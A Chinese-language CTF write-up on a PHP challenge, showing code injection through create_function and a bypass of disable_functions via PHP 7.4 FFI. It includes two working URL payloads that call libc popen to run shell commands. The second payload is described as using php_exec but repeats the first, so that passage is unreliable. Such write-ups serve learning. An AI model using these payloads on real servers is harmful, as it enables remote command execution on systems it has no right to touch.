正好同学搭了这题的复现环境就做了一下,感觉还是挺好的题,buu的环境不知道是不是配置的有问题只有一个人解,当时就没去看
源码就一行$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']); 用create_function 构造fighter=create_function&fights=&invincibly=;}phpinfo();/* 可以读到phpinfo,直接连shell的话不行,应该是设置了权限,而且读phpinfo发现设置了disable_function 发现开了ffi,php7.4,可以通过ffi绕过disable_function
PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许从用户在PHP代码中去调用C代码FFI的使用非常简单,只用声明和调用两步就可以。
首先我们使用FFI::cdef()函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下:
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数
这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:
$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt
由于system函数执行命令无回显,所以需要将执行结果写入到tmp等有权限的目录中,最后再使用echo file_get_contents("/tmp/res.txt");查看执行结果即可。
可见,当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
但本题没有权限,没法写文件 C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果 网上找了下这题的wp发现要用popen函数
popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。 参数 type 可使用 “r”代表读取,”w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。
payload
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*
还有一种思路,即FFI中可以直接调用php源码中的函数,比如这个php_exec()函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru()函数,其执行命令可以直接将结果原始输出
payload /?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*
|